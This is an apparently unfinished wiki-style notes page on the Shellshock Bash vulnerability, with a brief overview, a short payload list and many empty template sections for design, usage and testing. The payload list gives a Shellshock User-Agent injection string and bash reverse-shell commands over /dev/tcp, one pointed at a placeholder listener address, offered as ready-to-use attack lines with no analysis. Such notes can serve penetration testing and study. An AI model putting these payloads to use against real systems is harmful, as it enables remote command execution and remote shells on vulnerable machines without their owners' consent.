Shell Shock

*Author(s): [email protected] *Maintainer(s): ** *Department: DevOps *License(s): **

Overview

Shell Shock: Privelege Escalation, Remote Code Execution Family of bugs in the Unix Bash Shell. Allow execution of arbitrary commands.

Exploitation Vectors

---

Payloads

• shellshock user agent = User-Agent: () { :; } ; <$BASH_COMMAND>
• rshell payload = bash -i >& /dev/tcp/127.0.0.1
  • rshell redirect to listener = bash -i >& /dev/tcp/$YOUR_IP:$PORT

Tricks

Design:

• Purpose:
• Contents:
• Server(s):
  • Application:
  • Database:
• Networking:
  • DNS:
  • Routes:
• Application Dependencies:
• Dependant Programs:

Basic Usage:

• Usage:

• Common Use Cases:

• Examples:

Testing

Test Input

• Parameters:
• Actions:

Test Output

• Output:
• Screenshots:
• Video:
• Etc:

Notes:* [option]: